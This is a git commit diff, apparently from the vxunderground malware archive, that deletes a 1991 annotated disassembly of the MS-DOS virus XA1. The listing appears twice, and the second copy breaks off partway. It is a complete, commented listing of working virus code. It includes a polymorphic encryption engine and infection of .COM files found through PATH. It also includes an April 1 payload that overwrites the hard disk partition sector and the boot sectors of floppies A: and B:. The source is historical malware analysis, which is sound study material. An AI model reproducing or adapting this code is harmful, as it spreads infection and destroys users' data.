This commit is contained in:
vxunderground 2022-08-21 04:23:18 -05:00
parent 2c18b9a798
commit 9432413cf6
17 changed files with 0 additions and 5713 deletions

BIN
MSDOS/Virus.MSDOS.XA1.7z Normal file

Binary file not shown.

Binary file not shown.

View File

@ -1,909 +0,0 @@
;==============================================
; Virus XA1 isolated in Poland in June 1991
;
; disassembled by Andrzej Kadlof July 1991
;
; (C) Polish Section of Virus Information Bank
;==============================================
; virus entry point
0100 EB07 jmp 0109
0102 56 0A 03 59 00 ; first 7 bytes forms virus signature
0107 2A 00 ; generation counter, never used (?)
; prepare stack for tricks
; stack usage:
; [BP + 2] cleared but not used
; [BP + 0] offset in block
; [BP - 2] low byte of size of decrypted part and encryption key
0109 0E push cs ; make free space on stack
010A E80000 call 010D ; put current offset on the stack
010D FA cli ; disable interrupt to safe stack
010E 8BEC mov bp,sp
0110 58 pop ax
0111 32C0 xor al,al
0113 894602 mov [bp+02],ax ; corrupt debbuger return address ??
0116 8146002800 add word ptr [bp],0028 ; offset of first byte to encrypt
; encrypt virus code, this routine is changed in different virus copies
011B B9CE05 mov cx,05CE ; length of decrypted block
011E B08C mov al,8C ; 8C is changed!
0120 8846FF mov [bp-01],al
0123 8B5E00 mov bx,[bp] ; current position in block
; ^^ changed, possible 3 wariants:
; ..5E.. mov bx,[bp] versions 0, 1, 2
; ..76.. mov si,[bp] versions 3, 4, 5
; ..7E.. mov di,[bp] versions 6, 7, 8
0126 884EFE mov [bp-02],cl ; low byte of counter
0129 8A4EFF mov cl,[bp-01] ; encrypt key
012C D207 rol byte ptr [bx],cl ; byte manipulation
; ^^^^ changed, possible 9 wariants:
; 000F add byte ptr [bx],cl version 0
; 300F xor byte ptr [bx],cl version 1
; D2O7 rol byte ptr [bx],cl version 2
; 000C add byte ptr [si],cl version 3
; 300C xor byte ptr [si],cl version 4
; D204 rol byte ptr [si],cl version 5
; 000D add byte ptr [di],cl version 6
; 300D xor byte ptr [di],cl version 7
; D205 rol byte ptr [di],cl version 8
012E EB00 jmp 0130 ; short pause
0130 43 inc bx ; position in block
; ^^ changed, possible 3 wariants:
; 43 inc bx version 0, 1, 2
; 46 inc si version 3, 4, 5
; 47 inc di version 6, 7, 8
0131 8A4EFE mov cl,[bp-02] ; restore block size
0134 E2F0 loop 0126 ; offset is decrypted!
; encrypted part
0136 FB sti
; get address of curent DTA and store it on the stack
0137 B42F mov ah,2F
0139 CD21 int 21
013B 06 push es
013C 53 push bx
; get keyboard status bits
013D 33C0 xor ax,ax
013F 8ED8 mov ds,ax
0141 A01704 mov al,[0417]
0144 2410 and al,10 ; extract scroll lock state
0146 50 push ax ; store
0147 80261704EF and byte ptr [0417],EF ; clear scroll lock flag
; restore DS
014C 8CC8 mov ax,cs
014E 8ED8 mov ds,ax
; intercepte INT 24h
0150 BAC606 mov dx,06C6
0153 B82425 mov ax,2524 ; set interrupt vector
0156 CD21 int 21
; search for PATH= in environment block
0158 A12C00 mov ax,[002C] ; segment of environment block
015B 8EC0 mov es,ax
015D 33FF xor di,di ; begin of environment block
015F FC cld
0160 26803D00 cmp es:byte ptr [di],00 ; end of block marker
0164 741D je 0183 ; end fo block
0166 BE1B05 mov si,051B ; offset of string 'PATH='
0169 B90500 mov cx,0005 ; length of string
016C 8BC7 mov ax,di ; starting address
016E F3A6 rep cmpsb ; compare
0170 7411 je 0183 ; found
0172 8BF8 mov di,ax ; last starting point
0174 32C0 xor al,al
0176 B5FF mov ch,FF ; maximum block size
0178 F2AE repnz scasb
017A 74E4 je 0160
017C BF1A05 mov di,051A ; end of buffer for path
017F 8CC8 mov ax,cs ; restore ES
0181 8EC0 mov es,ax
0183 C706C1056205 mov word ptr [05C1],0562
; set local DTA
0189 BA3605 mov dx,0536
018C B41A mov ah,1A ; set DTA
018E CD21 int 21
0190 A1F906 mov ax,[06F9]
0193 A3F706 mov [06F7],ax
0196 A1FD06 mov ax,[06FD]
0199 A3FB06 mov [06FB],ax
019C B90500 mov cx,0005 ; counter of potential victims
019F BA1505 mov dx,0515 ; '*.COM', 0
01A2 06 push es
01A3 57 push di
01A4 51 push cx
01A5 8CC8 mov ax,cs
01A7 8EC0 mov es,ax
01A9 B9FFFF mov cx,FFFF ; all possible attributes
01AC B44E mov ah,4E ; find first
01AE EB06 jmp 01B6
01B0 59 pop cx ; restore counter
01B1 E35B jcxz 020E ; limit reached, check show/destruction
01B3 B44F mov ah,4F ; find next
01B5 51 push cx ; store counter
01B6 CD21 int 21
01B8 7203 jb 01BD ; continue
01BA E9F100 jmp 02AE
; restore address of path in environment block
01BD 59 pop cx
01BE 5F pop di
01BF 07 pop es
01C0 26803D00 cmp es:byte ptr [di],00 ; end of block?
01C4 744A je 0210 ; yes
; copy path to buffer
01C6 BB6205 mov bx,0562 ; offset of buffer
01C9 268A05 mov al,es:[di] ; next character
01CC 0AC0 or al,al ; end of block?
01CE 740A je 01DA ; yes
01D0 47 inc di
01D1 3C3B cmp al,3B ; ';', end of path?
01D3 7405 je 01DA ; yes
01D5 8807 mov [bx],al ; copy character
01D7 43 inc bx ; increase pointer
01D8 EBEF jmp 01C9 ; get next character
01DA 81FB6205 cmp bx,0562 ; buffer not empty?
01DE 74E0 je 01C0 ; empty
01E0 8A47FF mov al,[bx-01]
01E3 3C3A cmp al,3A ; ':', root directory
01E5 7408 je 01EF ; yes
01E7 3C5C cmp al,5C ; check last character, '\'
01E9 7404 je 01EF ; there is
01EB C6075C mov byte ptr [bx],5C ; add '\'
01EE 43 inc bx ; pointer to last character
01EF 06 push es
01F0 57 push di
01F1 51 push cx
01F2 891EC105 mov [05C1],bx ; store it
01F6 8BF3 mov si,bx
01F8 81EB6205 sub bx,0562 ; find path length
01FC 8BCB mov cx,bx
01FE BF1405 mov di,0514 ; destination buffer
0201 8CC8 mov ax,cs ; restore ES
0203 8EC0 mov es,ax
0205 4E dec si
0206 FD std
0207 F3A4 rep movsb ; copy
0209 8BD7 mov dx,di
020B 42 inc dx
020C EB97 jmp 01A5 ; find first
; end of infection proces, check condition for destruction/show
020E 58 pop ax ; balance stack
020F 58 pop ax
0210 8CC8 mov ax,cs ; restore ES
0212 8EC0 mov es,ax
; get date
0214 B42A mov ah,2A ; get date
0216 CD21 int 21
0218 81FA0104 cmp dx,0401 ; April 1?
021C 7533 jne 0251 ; no
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
; DESTRUCTION OF HARD DISK AND FLOPPIES IN A: AND B:
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><>
; copy partition table to sector 11h of side 0, track 0
021E BA8000 mov dx,0080 ; first hard drive
0221 B90100 mov cx,0001 ; track 0 sector 1 (partition table)
0224 BB0307 mov bx,0703 ; destroy victim code
0227 B80102 mov ax,0201 ; read 1 sector
022A 52 push dx
022B 51 push cx
022C 53 push bx
022D CD13 int 13 ; disk I/O
022F 5B pop bx
0230 59 pop cx
0231 5A pop dx
0232 B111 mov cl,11 ; new place for partition table
0234 B80103 mov ax,0301 ; write partition table
0237 CD13 int 13
; set and of sector marker in the buffer
0239 C706350855AA mov word ptr [0835],AA55 ; end of sector marker
; overwrite partition table
023F B280 mov dl,80
0241 E87404 call 06B8 ; write one sector to disk
; overwrite boot sector of drive A:
0244 32D2 xor dl,dl
0246 E86F04 call 06B8 ; write one sector do disk
; overwrite boot sector of drive B:
0249 B201 mov dl,01
024B E86A04 call 06B8 ; write disk
024E EB0A jmp 025A
0250 90 nop
; compare date
0251 81FA180C cmp dx,0C18 ; december 24?
0255 7203 jb 025A ; date earlier
;<><><><<><><><><><><><><><><><><><><><>
;
; CHRISTMAS SHOW
;
; see the description of subroutine 05D7
;<><><><><><><><><><><><><><><><><><><><><>
0257 E87D03 call 05D7 ; drow christmas tree
; make sound
025A E440 in al,40
025C 3CF8 cmp al,F8
025E 7206 jb 0266
0260 E461 in al,61
0262 0C03 or al,03
0264 E661 out 61,al
; restore the state of scroll lock flag
0266 33C0 xor ax,ax
0268 8ED8 mov ds,ax
026A 58 pop ax
026B 08061704 or [0417],al
; restore INT 24h
026F 2E8E1E1400 mov ds,cs:[0014] ; segment of INT 24h in PSP
0274 2E8B161200 mov dx,cs:[0012] ; offset of INT 24h in PSP
0279 B82425 mov ax,2524 ; set interrupt vector
027C CD21 int 21
; restore DTA
027E 5A pop dx
027F 1F pop ds
0280 B41A mov ah,1A ; set DTA
0282 CD21 int 21
; restore DS
0284 8CC8 mov ax,cs
0286 8ED8 mov ds,ax
0288 BEF006 mov si,06F0
028B 8B3EF706 mov di,[06F7]
028F 033EFB06 add di,[06FB]
0293 57 push di
0294 B90700 mov cx,0007
0297 FC cld
0298 F3A4 rep movsb
029A 33C0 xor ax,ax
029C 8BD8 mov bx,ax
029E 8BD0 mov dx,ax
02A0 8BE8 mov bp,ax
02A2 8B36F706 mov si,[06F7]
02A6 BF0001 mov di,0100
02A9 8B0EFB06 mov cx,[06FB]
02AD C3 ret
02AE BE5405 mov si,0554 ; file name in FCB
02B1 8B3EC105 mov di,[05C1] ; address of destination
02B5 B90D00 mov cx,000D ; length of asciiz string
02B8 FC cld
02B9 F3A4 rep movsb ; copy
02BB BF2005 mov di,0520 ; buffer for file name
02BE E8FA01 call 04BB ; copy
02C1 7503 jne 02C6
02C3 E9EAFE jmp 01B0 ; find next/destruct/show
02C6 BF2B05 mov di,052B
02C9 E8EF01 call 04BB ; copy file name
02CC 7503 jne 02D1
02CE E9DFFE jmp 01B0 ; find next/destruct/show
02D1 C606610500 mov byte ptr [0561],00
02D6 90 nop
02D7 F6064B0507 test byte ptr [054B],07 ; attribute byte in DTA
02DC 740F je 02ED ; hiden, system or read only, open file
02DE BA6205 mov dx,0562 ; file name
02E1 33C9 xor cx,cx ; clear all attributes
02E3 B80143 mov ax,4301 ; set file attributes
02E6 CD21 int 21
02E8 7303 jnb 02ED ; open file
02EA E9C3FE jmp 01B0 ; find next/destruct/show
02ED BA6205 mov dx,0562
02F0 B8023D mov ax,3D02 ; open file for read/write
02F3 CD21 int 21
02F5 8BD8 mov bx,ax ; handle
02F7 7303 jnb 02FC
02F9 E9B4FE jmp 01B0 ; find next
; check file size
02FC A15205 mov ax,[0552] ; high word of file size in DTA
02FF 0BC0 or ax,ax
0301 7403 je 0306 ; file below 64K
0303 E99001 jmp 0496 ; close file and find next
0306 A15005 mov ax,[0550] ; lower word of file size
0309 3D0700 cmp ax,0007 ; minimum file size
030C 72F5 jb 0303 ; close file and find next
030E 3D00F8 cmp ax,F800 ; maximum file size
0311 73F0 jnb 0303 ; close file and find next
; mayby already infected?
0313 8B16F706 mov dx,[06F7] ; form address of bufer
0317 0316FB06 add dx,[06FB]
031B B90700 mov cx,0007 ; number of bytes
031E 52 push dx
031F 51 push cx
0320 B43F mov ah,3F ; read file
0322 CD21 int 21
0324 59 pop cx
0325 5E pop si
0326 7208 jb 0330 ; read error, close and find next
; compare first 7 bytes with own code
0328 BF0001 mov di,0100 ; destination
032B FC cld
032C F3A6 rep cmpsb
032E 7503 jne 0333
0330 E96301 jmp 0496 ; close file and find next, (infected!)
; get and store file date and time
0333 B80057 mov ax,5700 ; get file time stamp
0336 CD21 int 21
0338 72F6 jb 0330 ; close file, find next
033A 89160107 mov [0701],dx ; store date
033E 890EFF06 mov [06FF],cx ; store time
0342 C606610501 mov byte ptr [0561],01
0347 90 nop
; check file size, if less than 603h bytes then append some garbage
0348 A15005 mov ax,[0550] ; file size
034B 3D0306 cmp ax,0603
034E 7321 jnb 0371
; file length is less than 603h, add some garbage
0350 33D2 xor dx,dx
0352 33C9 xor cx,cx
0354 B80242 mov ax,4202 ; move file ptr to EOF
0357 CD21 int 21
0359 7303 jnb 035E ; no errors, continue
035B E93801 jmp 0496 ; close file and find next
035E B90306 mov cx,0603 ; number of bytes
0361 2B0E5005 sub cx,[0550] ; file size
0365 B440 mov ah,40 ; write file
0367 CD21 int 21
0369 B80306 mov ax,0603 ; new file size
036C 7303 jnb 0371
036E E92501 jmp 0496 ; close file and find next
; now file is at least 603h bytes long
0371 FEC4 inc ah
0373 A3F906 mov [06F9],ax ; oryginal file size + 256
0376 A15005 mov ax,[0550] ; file size
0379 BE0306 mov si,0603 ; virus length
037C 33FF xor di,di
037E 3BC6 cmp ax,si
0380 7302 jnb 0384
0382 8BF0 mov si,ax
0384 8936FD06 mov [06FD],si
0388 8BD7 mov dx,di
038A 33C9 xor cx,cx
038C B80042 mov ax,4200 ; move file ptr to BOF
038F CD21 int 21
0391 7303 jnb 0396
0393 E90001 jmp 0496 ; close file and find next
0396 8B16F706 mov dx,[06F7]
039A 0316FB06 add dx,[06FB]
039E B90002 mov cx,0200
03A1 3BF1 cmp si,cx
03A3 7302 jnb 03A7
03A5 8BCE mov cx,si ; number of bytes
03A7 52 push dx
03A8 51 push cx
03A9 B43F mov ah,3F ; read file
03AB CD21 int 21
03AD 59 pop cx
03AE 5A pop dx
03AF 7303 jnb 03B4 ; continue
03B1 E9E200 jmp 0496 ; close file and find next
03B4 52 push dx
03B5 51 push cx
03B6 33D2 xor dx,dx
03B8 33C9 xor cx,cx
03BA B80242 mov ax,4202 ; move file ptr to EOF
03BD CD21 int 21
03BF 59 pop cx
03C0 5A pop dx
03C1 7303 jnb 03C6 ; continue
03C3 E9D000 jmp 0496 ; close file and find next
03C6 B440 mov ah,40 ; write file
03C8 CD21 int 21
03CA 7303 jnb 03CF
03CC E9C700 jmp 0496 ; close file and find next
03CF 81C70002 add di,0200
03D3 81EE0002 sub si,0200
03D7 7602 jbe 03DB
03D9 EBAD jmp 0388
03DB FF060701 inc word ptr [0107] ; infection counter
03DF 33D2 xor dx,dx
03E1 33C9 xor cx,cx
03E3 B80042 mov ax,4200 ; move file ptr to BOF
03E6 CD21 int 21
03E8 7303 jnb 03ED
03EA E9A900 jmp 0496 ; close file and find next
03ED 53 push bx ; store handle
03EE E440 in al,40
03F0 A807 test al,07
03F2 74FA je 03EE
03F4 A21F01 mov [011F],al ; change decryption key
; get random number from system timer count
03F7 33C0 xor ax,ax
03F9 8AF8 mov bh,al
03FB 8ED8 mov ds,ax
03FD A06C04 mov al,[046C] ; timer, low byte
0400 8CCA mov dx,cs ; restore DS
0402 8EDA mov ds,dx
; generate rundom number in BX in the range 0..8
0404 B103 mov cl,03
0406 F6F1 div cl ; AL <- AL/3, AH <- remainder
0408 8AEC mov ch,ah ; store remainder (0, 1 or 2)
040A 32E4 xor ah,ah ; prepare division
040C F6F1 div cl ; AL <- AL / 9, AH <- remainder
040E 8AC4 mov al,ah ; AL <- second remainder
0410 02C0 add al,al ; *2, AL in [0..4]
0412 02C4 add al,ah ; *3, AL in [0..6]
0414 02C5 add al,ch ; first remainder
0416 8AD8 mov bl,al ; BL in [0..8]
; multiply BX by 4 (table entry size)
0418 03DB add bx,bx
041A 03DB add bx,bx
041C 81C3C906 add bx,06C9 ; offset of table
; modify encryption routine (automodyfication)
0420 8A07 mov al,[bx]
0422 A22401 mov [0124],al ; 3 versions 5E/76/7E
0425 8B4701 mov ax,[bx+01]
0428 A32C01 mov [012C],ax ; 9 wersions
042B 8A4703 mov al,[bx+03] ; 3 versions
042E A23001 mov [0130],al
0431 8AC5 mov al,ch
; prepare decrypt routine
0433 BBED06 mov bx,06ED
0436 D7 xlat
0437 A26104 mov [0461],al ; modify decryption routine
; write new encryption routine to file
043A 5B pop bx ; restore handle
043B BA0001 mov dx,0100 ; begin of file
043E B93500 mov cx,0035 ; block size
0441 B440 mov ah,40 ; write file
0443 CD21 int 21
0445 724F jb 0496 ; close file and find next
; decryption routine
0447 BE3501 mov si,0135 ; start of decrypted block
044A B9CE05 mov cx,05CE ; size of decrypted block
044D 53 push bx ; store handle
044E 51 push cx
044F B80002 mov ax,0200
0452 8B1EF706 mov bx,[06F7]
0456 031EFB06 add bx,[06FB]
045A 53 push bx
045B 8A0E1F01 mov cl,[011F] ; decription key
045F 8A2C mov ch,[si]
0461 D2CD ror ch,cl ; <-- changed (3 variants)
; ^^ changed byte, possible wariants:
; 28CD sub ch,cl versions: 0, 3, 6
; 30CD xor ch,cl versions: 1, 4, 7
; D2CD ror ch,cl versions: 2, 5, 8
0463 882F mov [bx],ch
0465 43 inc bx
0466 46 inc si
0467 48 dec ax
0468 75F5 jne 045F
046A 5A pop dx
046B 59 pop cx
046C 5B pop bx
046D 51 push cx
046E 81F90102 cmp cx,0201
0472 7203 jb 0477
0474 B90002 mov cx,0200
0477 B440 mov ah,40 ; write file
0479 CD21 int 21
047B 59 pop cx
047C 7218 jb 0496 ; close file and find next
047E 81E90002 sub cx,0200
0482 77C9 ja 044D
; restore file time stamp
0484 8B160107 mov dx,[0701] ; file date
0488 8B0EFF06 mov cx,[06FF] ; file time
048C B80157 mov ax,5701 ; set file time stamp
048F CD21 int 21
0491 7203 jb 0496 ; close file and find next
; decrease counter on the stack
0493 59 pop cx
0494 49 dec cx
0495 51 push cx
0496 B43E mov ah,3E ; close file
0498 CD21 int 21
049A 8A0E4B05 mov cl,[054B] ; attributes
049E FE0E6105 dec byte ptr [0561]
04A2 7405 je 04A9
04A4 F6C107 test cl,07 ; hidden, system, read only
04A7 740F je 04B8
04A9 80F920 cmp cl,20 ; archive
04AC 740A je 04B8
04AE BA6205 mov dx,0562 ; file name
04B1 32ED xor ch,ch
04B3 B80143 mov ax,4301 ; set file attributes
04B6 CD21 int 21
04B8 E9F5FC jmp 01B0 ; find next
;----------------------------------------
; move 11 bytes do DS:DI ('C:\COMMAND.')
04BB BE6205 mov si,0562
04BE B90B00 mov cx,000B
04C1 FC cld
04C2 F3A6 rep cmpsb
04C4 C3 ret
; buffer for path
04C5 30 31 32 33 34 35 36 37 01234567
04CD 38 39 30 31 32 33 34 35 89012345
04D5 36 37 38 39 30 31 32 33 67890123
04DD 34 35 36 37 38 39 30 31 45678901
04E5 32 33 34 35 36 37 38 39 23456789
04ED 30 31 32 33 34 35 36 37 01234567
04F5 38 39 30 31 32 33 34 35 89012345
04FD 36 37 38 43 3A 5C 4A 45 678C:\JE
0505 5A 59 4B 49 43 3A 5C 50 ZYKIC:\P
050D 43 44 3A 5C 55 43 3A 5C CD:\UC:\
; paterns for search
0515 2A 2E 43 4F 4D 00 50 41 *.COM PA
051D 54 48 3D TH=
; buffers for file names
0520 49 42 4D 42 49 IBMBI
0525 4F 2E 43 4F 4D 00 O.COM
052B 49 42 IB
052D 4D 44 4F 53 2E 43 4F 4D MDOS.COM
0535 00
; local DTA
0536 03 3F 3F 3F 3F 3F 3F ;\
053D 3F 3F 43 4F 4D FF 02 00 ; | reserved
0545 00 00 00 00 00 00 ;/
054B 20 ; file attribute
054C 00 60 71 0E ; file time stamp
0550 DB 62 00 00 ; file size
0554 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 00 00 ; file name (COMMAND.COM, 0, 0)
0561 01 ; flag: attributes are changed
0562 43 3A 5C C:\
0565 43 4F 4D 4D 41 4E 44 2E COMMAND.
056D 43 4F 4D 00 00 4D 00 00 COM M
0575 00 2E 43 4F 4D 00 4F 68 .COM Oh
057D 4E 6F 21 4F 68 4E 6F 21 No!OhNo!
0585 4F 68 4E 6F 21 4F 68 4E OhNo!OhN
058D 6F 21 4F 68 4E 6F 21 4F o!OhNo!O
0595 68 4E 6F 21 4F 68 4E 6F hNo!OhNo
059D 21 4F 68 4E 6F 21 4F 68 !OhNo!Oh
05A5 4E 6F 21 4F 68 4E 6F 21 No!OhNo!
05AD 4F 68 4E 6F 21 4F 68 4E OhNo!OhN
05B5 6F 21 4F 68 4E 6F 21 4F o!OhNo!O
05BD 68 4E 6F 21 hNo!
05C1 65 05 ;
;---------------------------------------
; write character (or space) cx times
05C3 B020 mov al,20
05C5 50 push ax
05C6 E89E00 call 0667 ; write character
05C9 58 pop ax
05CA E2F9 loop 05C5
05CC C3 ret
;-------------
; next line
05CD B00D mov al,0D
05CF E89500 call 0667 ; write character
05D2 B00A mov al,0A
05D4 E99000 jmp 0667 ; write character
;------------------------------
; drow christmast tree
;
; result will look like this:
;
;
; ­
; ***
; *****
; *******
; *********
; ***********
; *************
; ***************
; *****************
; *******************
; *********************
; ***********************
; *************************
; ***************************
; *****************************
; ÛÛÛ
; ÛÛÛ
; ÛÛÛ
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
; Und er lebt doch noch : Der Tannenbaum !
; Frohe Weihnachten ...
;
05D7 B92700 mov cx,0027
05DA E8E6FF call 05C3 ; clear 39 characters
05DD B0AD mov al,AD ; '­'
05DF E88500 call 0667 ; write character
05E2 E8E8FF call 05CD ; new line
05E5 BB0300 mov bx,0003
05E8 BA2600 mov dx,0026
05EB 8BCA mov cx,dx
05ED E8D3FF call 05C3 ; write CX spaces
05F0 8BCB mov cx,bx
05F2 B02A mov al,2A ; '*'
05F4 E8CEFF call 05C5 ; write CX characters
05F7 E8D3FF call 05CD ; new line
05FA 4A dec dx
05FB 83C302 add bx,0002
05FE 83FB1F cmp bx,001F
0601 75E8 jne 05EB
0603 BB0300 mov bx,0003
0606 B92600 mov cx,0026
0609 E8B7FF call 05C3 ; write CX spaces
060C B90300 mov cx,0003
060F B0DB mov al,DB ; 'Û'
0611 E8B1FF call 05C5 ; write CX characters
0614 E8B6FF call 05CD ; next line
0617 4B dec bx
0618 75EC jne 0606
061A B95000 mov cx,0050 ; full line
061D B0CD mov al,CD ; 'Í'
061F E8A3FF call 05C5 ; write character CX times
0622 B91300 mov cx,0013
0625 E89BFF call 05C3 ; write CX spaces
0628 BB7406 mov bx,0674 ; string: Und er lebt doch ...
062B E82C00 call 065A ; write string
062E B91D00 mov cx,001D
0631 E88FFF call 05C3 ; clear part of line
0634 EB24 jmp 065A ; write asciiz string pointed by BX
0636 90 nop
0637 E80000 call 063A
063A 5B pop bx
063B 83C30D add bx,000D
063E 8CC8 mov ax,cs
0640 8ED8 mov ds,ax
0642 E81500 call 065A ; write string
0645 EBFE jmp 0645 ; hang CPU
0647 41 70 72 69 6C 2C 20 41 April, A
064F 70 72 69 6C 20 2E 2E 2E pril ...
0657 20 07 00
;-----------------------------------
; write asciiz string pointed by BX
065A 8A07 mov al,[bx] ; get character
065C 43 inc bx ; next character
065D 0AC0 or al,al ; and of string?
065F 7405 je 0666 ; yes, RET
0661 E80300 call 0667 ; write character
0664 EBF4 jmp 065A ; get next character
0666 C3 ret
;--------------------
; write character TTL
0667 52 push dx
0668 51 push cx
0669 53 push bx
066A 32FF xor bh,bh
066C B40E mov ah,0E
066E CD10 int 10
0670 5B pop bx
0671 59 pop cx
0671 59 pop cx
0672 5A pop dx
0673 C3 ret
0674 55 6E 64 20 65 72 20 6C Und er l
067C 65 62 74 20 64 6F 63 68 ebt doch
0684 20 6E 6F 63 68 20 3A 20 noch :
068C 44 65 72 20 54 61 6E 6E Der Tann
0694 65 6E 62 61 75 6D 20 21 enbaum !
069C 0D 0A 00 46 72 6F 68 65 Frohe
06A4 20 57 65 69 68 6E 61 63 Weihnac
06AC 68 74 65 6E 20 2E 2E 2E hten ...
06B4 0D 0A 07 00
;------------------------------------------
; write one sector to disk specified in DL
; track 9, side 0 sector 1
06B8 32F6 xor dh,dh
06BA B90100 mov cx,0001
06BD BB3706 mov bx,0637
06C0 B80103 mov ax,0301
06C3 CD13 int 13
06C5 C3 ret
;==================
; INT 24h handler
06C6 B000 mov al,00
06C8 CF iret
; table of bytes for changing encrypt routine
06C9 5E 00 0F 43
06CD 5E 30 0F 43
06D1 5E D2 07 43
06D5 76 00 0C 46
06D9 76 30 0C 46
06DD 76 D2 04 46
06E1 7E 00 0D 47
06E5 7E 30 0D 47
06E9 7E D2 05 47
; table for variants of decrypt routine
06ED 28 30 D2
; part of victime code
06F0 F3A4 rep movsb
06F2 8BF1 mov si,cx
06F4 8BF9 mov di,cx
06F6 C3 ret
06F7 0307 ; offset of buffer/modified code
06F9 DB63 ; file size + 256
06FB C603 ;
06FD 0306 ;
06FF 0060 ; file date
0701 710E ; file time

View File

@ -1,909 +0,0 @@
;==============================================
; Virus XA1 isolated in Poland in June 1991
;
; disassembled by Andrzej Kadlof July 1991
;
; (C) Polish Section of Virus Information Bank
;==============================================
; virus entry point
0100 EB07 jmp 0109
0102 56 0A 03 59 00 ; first 7 bytes forms virus signature
0107 2A 00 ; generation counter, never used (?)
; prepare stack for tricks
; stack usage:
; [BP + 2] cleared but not used
; [BP + 0] offset in block
; [BP - 2] low byte of size of decrypted part and encryption key
0109 0E push cs ; make free space on stack
010A E80000 call 010D ; put current offset on the stack
010D FA cli ; disable interrupt to safe stack
010E 8BEC mov bp,sp
0110 58 pop ax
0111 32C0 xor al,al
0113 894602 mov [bp+02],ax ; corrupt debbuger return address ??
0116 8146002800 add word ptr [bp],0028 ; offset of first byte to encrypt
; encrypt virus code, this routine is changed in different virus copies
011B B9CE05 mov cx,05CE ; length of decrypted block
011E B08C mov al,8C ; 8C is changed!
0120 8846FF mov [bp-01],al
0123 8B5E00 mov bx,[bp] ; current position in block
; ^^ changed, possible 3 wariants:
; ..5E.. mov bx,[bp] versions 0, 1, 2
; ..76.. mov si,[bp] versions 3, 4, 5
; ..7E.. mov di,[bp] versions 6, 7, 8
0126 884EFE mov [bp-02],cl ; low byte of counter
0129 8A4EFF mov cl,[bp-01] ; encrypt key
012C D207 rol byte ptr [bx],cl ; byte manipulation
; ^^^^ changed, possible 9 wariants:
; 000F add byte ptr [bx],cl version 0
; 300F xor byte ptr [bx],cl version 1
; D2O7 rol byte ptr [bx],cl version 2
; 000C add byte ptr [si],cl version 3
; 300C xor byte ptr [si],cl version 4
; D204 rol byte ptr [si],cl version 5
; 000D add byte ptr [di],cl version 6
; 300D xor byte ptr [di],cl version 7
; D205 rol byte ptr [di],cl version 8
012E EB00 jmp 0130 ; short pause
0130 43 inc bx ; position in block
; ^^ changed, possible 3 wariants:
; 43 inc bx version 0, 1, 2
; 46 inc si version 3, 4, 5
; 47 inc di version 6, 7, 8
0131 8A4EFE mov cl,[bp-02] ; restore block size
0134 E2F0 loop 0126 ; offset is decrypted!
; encrypted part
0136 FB sti
; get address of curent DTA and store it on the stack
0137 B42F mov ah,2F
0139 CD21 int 21
013B 06 push es
013C 53 push bx
; get keyboard status bits
013D 33C0 xor ax,ax
013F 8ED8 mov ds,ax
0141 A01704 mov al,[0417]
0144 2410 and al,10 ; extract scroll lock state
0146 50 push ax ; store
0147 80261704EF and byte ptr [0417],EF ; clear scroll lock flag
; restore DS
014C 8CC8 mov ax,cs
014E 8ED8 mov ds,ax
; intercepte INT 24h
0150 BAC606 mov dx,06C6
0153 B82425 mov ax,2524 ; set interrupt vector
0156 CD21 int 21
; search for PATH= in environment block
0158 A12C00 mov ax,[002C] ; segment of environment block
015B 8EC0 mov es,ax
015D 33FF xor di,di ; begin of environment block
015F FC cld
0160 26803D00 cmp es:byte ptr [di],00 ; end of block marker
0164 741D je 0183 ; end fo block
0166 BE1B05 mov si,051B ; offset of string 'PATH='
0169 B90500 mov cx,0005 ; length of string
016C 8BC7 mov ax,di ; starting address
016E F3A6 rep cmpsb ; compare
0170 7411 je 0183 ; found
0172 8BF8 mov di,ax ; last starting point
0174 32C0 xor al,al
0176 B5FF mov ch,FF ; maximum block size
0178 F2AE repnz scasb
017A 74E4 je 0160
017C BF1A05 mov di,051A ; end of buffer for path
017F 8CC8 mov ax,cs ; restore ES
0181 8EC0 mov es,ax
0183 C706C1056205 mov word ptr [05C1],0562
; set local DTA
0189 BA3605 mov dx,0536
018C B41A mov ah,1A ; set DTA
018E CD21 int 21
0190 A1F906 mov ax,[06F9]
0193 A3F706 mov [06F7],ax
0196 A1FD06 mov ax,[06FD]
0199 A3FB06 mov [06FB],ax
019C B90500 mov cx,0005 ; counter of potential victims
019F BA1505 mov dx,0515 ; '*.COM', 0
01A2 06 push es
01A3 57 push di
01A4 51 push cx
01A5 8CC8 mov ax,cs
01A7 8EC0 mov es,ax
01A9 B9FFFF mov cx,FFFF ; all possible attributes
01AC B44E mov ah,4E ; find first
01AE EB06 jmp 01B6
01B0 59 pop cx ; restore counter
01B1 E35B jcxz 020E ; limit reached, check show/destruction
01B3 B44F mov ah,4F ; find next
01B5 51 push cx ; store counter
01B6 CD21 int 21
01B8 7203 jb 01BD ; continue
01BA E9F100 jmp 02AE
; restore address of path in environment block
01BD 59 pop cx
01BE 5F pop di
01BF 07 pop es
01C0 26803D00 cmp es:byte ptr [di],00 ; end of block?
01C4 744A je 0210 ; yes
; copy path to buffer
01C6 BB6205 mov bx,0562 ; offset of buffer
01C9 268A05 mov al,es:[di] ; next character
01CC 0AC0 or al,al ; end of block?
01CE 740A je 01DA ; yes
01D0 47 inc di
01D1 3C3B cmp al,3B ; ';', end of path?
01D3 7405 je 01DA ; yes
01D5 8807 mov [bx],al ; copy character
01D7 43 inc bx ; increase pointer
01D8 EBEF jmp 01C9 ; get next character
01DA 81FB6205 cmp bx,0562 ; buffer not empty?
01DE 74E0 je 01C0 ; empty
01E0 8A47FF mov al,[bx-01]
01E3 3C3A cmp al,3A ; ':', root directory
01E5 7408 je 01EF ; yes
01E7 3C5C cmp al,5C ; check last character, '\'
01E9 7404 je 01EF ; there is
01EB C6075C mov byte ptr [bx],5C ; add '\'
01EE 43 inc bx ; pointer to last character
01EF 06 push es
01F0 57 push di
01F1 51 push cx
01F2 891EC105 mov [05C1],bx ; store it
01F6 8BF3 mov si,bx
01F8 81EB6205 sub bx,0562 ; find path length
01FC 8BCB mov cx,bx
01FE BF1405 mov di,0514 ; destination buffer
0201 8CC8 mov ax,cs ; restore ES
0203 8EC0 mov es,ax
